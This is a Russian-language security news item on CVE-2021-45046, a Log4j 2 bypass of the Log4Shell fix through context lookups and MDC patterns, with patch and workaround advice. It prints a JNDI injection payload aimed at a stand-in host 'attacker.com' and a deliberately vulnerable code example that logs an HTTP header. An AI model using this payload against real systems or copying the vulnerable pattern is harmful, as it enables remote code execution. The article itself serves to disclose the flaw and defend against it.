Новый вариант атаки на Log4j 2, позволяющий обойти добавленную защиту

В реализации подстановок JNDI в библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления и независимо от использования настройки “log4j2.noFormatMsgLookup” для защиты. Проблема представляет опасность в основном для старых версий Log4j 2, защищённых при помощи флага “noFormatMsgLookup”, так как даёт возможность обойти защиту от прошлой узявимости (Log4Shell, CVE-2021-44228), позволяющей выполнить свой код на сервере. Для пользователей версии 2.15 эксплуатация ограничивается созданием условий для аварийного завершения приложения из-за исчерпания доступных ресурсов.

Уязвимость проявляется только на системах, в которых при журналировании используются контекстные запросы (Context Lookup), такие как ${ctx:loginId}, или MDC-шаблоны (Thread Context Map), например, %X, %mdc и %MDC. Эксплуатация сводится к созданию условий для вывода в лог данных, содержащих подстановки JNDI, при использовании в приложении контекстных запросов или MDC-шаблонов, определяющих правила форматирования вывода в лог.

Исследователи из компании LunaSec отметили, что для версий Log4j меньше 2.15 данная уязвимость может использоваться как новый вектор для атаки Log4Shell, приводящей к выполнению кода, если при выводе в лог используются выражения ThreadContext, в которые попадают внешние данные, независимо от включения для защиты флага “noMsgFormatLookups” или шаблона “%m{nolookups}”.


Обход защиты сводится к тому, что вместо прямой подстановки “${jndi:ldap://attacker.com/a}”, данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных “${jndi:ldap://attacker.com/a}” в значение, записываемое в переменную apiversion. Пример уязвимого кода:

appender.console.layout.pattern = ${ctx:apiversion} – %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L – %m%n @GetMapping(“/”) public String index(@RequestHeader(“X-Api-Version”) String apiVersion) { // Значение HTTP-заголовка “X-Api-Version” передаётся в ThreadContext ThreadContext.put(“apiversion”, apiVersion); // При выводе в лог внешнее значение apiversion будет обработано при помощи подстановки ${ctx:apiversion} logger.info(“Received a request for API version”); return “Hello, world!”; }

В версии Log4j 2.15 уязвимость может использоваться для совершения DoS-атак при передаче в ThreadContext значений, приводящих к зацикливанию обработки шаблона форматирования вывода.


Для блокирования уязвимости опубликованы обновления 2.16 и 2.12.2. В ветке Log4j 2.16, помимо реализованных в версии 2.15 исправлений и привязки JNDI LDAP-запросов к “localhost”, по умолчанию полностью отключена функциональность JNDI и удалена поддержка шаблонов подстановки сообщений.
В качестве обходного пути защиты предложено удалить класс JndiLookup из classpath (например, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”).

Проследить за появлением исправлений в пакетах можно на страницах дистрибутивов (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) и производителей уязвимых Java-приложений (GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure и т.д.).

Release. Ссылка here.